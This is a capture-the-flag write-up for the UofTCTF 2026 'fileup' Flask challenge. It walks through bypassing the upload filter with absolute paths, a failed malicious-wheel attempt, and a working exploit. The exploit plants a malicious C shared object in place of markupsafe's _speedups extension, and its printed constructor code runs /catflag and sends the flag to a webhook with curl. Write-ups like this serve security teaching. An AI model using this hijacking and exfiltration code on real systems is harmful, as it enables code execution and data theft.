UofTCTF 2026: File Upload

January 12, 2026

Introduction

The `fileup` challenge presented a Flask web application that allowed users to upload and read files. The application implemented some filename filtering, blocking any name containing `..` or the substring `.p` (case-sensitive). However, it did not prevent absolute paths or certain extensions, which opened the door to more creative exploitation.

Initial Exploration and Attempts

At first, I explored the possibility of arbitrary file read and write. By uploading files with absolute paths, I confirmed that I could write to locations outside the intended upload directory, such as `/home/flaskuser/flask_download`, which is used by `pip install` at container startup.

My first major attempt was to achieve code execution by uploading a malicious Python wheel. I crafted a wheel named `flask-999.0.0-py3-none-any.whl` containing a payload in `flask/__init__.py` that would execute the SUID binary `/catflag` and write its output to a world-readable location. The idea was that, upon container restart, the startup script would install my wheel, and the payload would run as soon as Flask was imported.

However, this approach ran into a significant obstacle: after the payload executed, the application would crash with an `ImportError`, because my wheel did not perfectly re-export all the real Flask symbols. Despite several iterations—trying to dynamically load and re-export the real Flask module after running the payload—the import mechanism proved too fragile, and the app would not start cleanly.

Alternative Approaches

I also considered other Python-level attacks, such as replacing C extensions with malicious shared objects or exploiting other dependencies. These attempts were either blocked by the environment or resulted in the application failing to start, which meant the flag was never exfiltrated.

The Working Solution: Shared Object Injection

After these setbacks, I shifted focus to a more low-level and reliable technique: shared object injection. By uploading a malicious `.so` file with a name matching a C extension used by a dependency (for example, `markupsafe/_speedups.cpython-312-x86_64-linux-gnu.so`), I could hijack the import process. When the application or a dependency imported this module, my code would execute immediately, thanks to the `constructor` attribute in C.

Payload Design The payload was a C shared object with a constructor function. When loaded, it:

1. Invoked the SUID binary to print the flag to a temporary file.
2. Read the flag from the file.

3. Sent the flag to a remote endpoint (such as a webhook) using a system call.

4. Cleaned up the temporary file.

Listing 1: Malicious .so constructor payload

```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

__attribute__((constructor))
void run() {
    char buf[128];
    FILE *fp = popen("/catflag", "r");
    if (!fp) return;
    if (fgets(buf, sizeof(buf), fp)) {
        buf[strcspn(buf, "\n")] = 0;
        char cmd[256];
        snprintf(cmd, sizeof(cmd),
            "curl -s 'https://webhook.site/your-id?flag=%s' >/dev/null", buf);
        system(cmd);
    }
    pclose(fp);
}
```

Triggering the Payload via SSTI After uploading the malicious `.so` file to the appropriate location, I needed a way to ensure it would be loaded by the application. In this challenge, the Flask app used Jinja2 for template rendering, which internally relies on the `markupsafe` library and its C extension `_speedups`. By submitting a request that caused the server to render a template—such as reading a file or injecting a template string via SSTI (Server-Side Template Injection)—the application would attempt to import the `_speedups` module. This import triggered the constructor in my shared object, which executed the payload: running the SUID binary, capturing the flag, and sending it to my webhook. As a side effect, the server process would crash after the payload ran, but by then the flag had already been exfiltrated.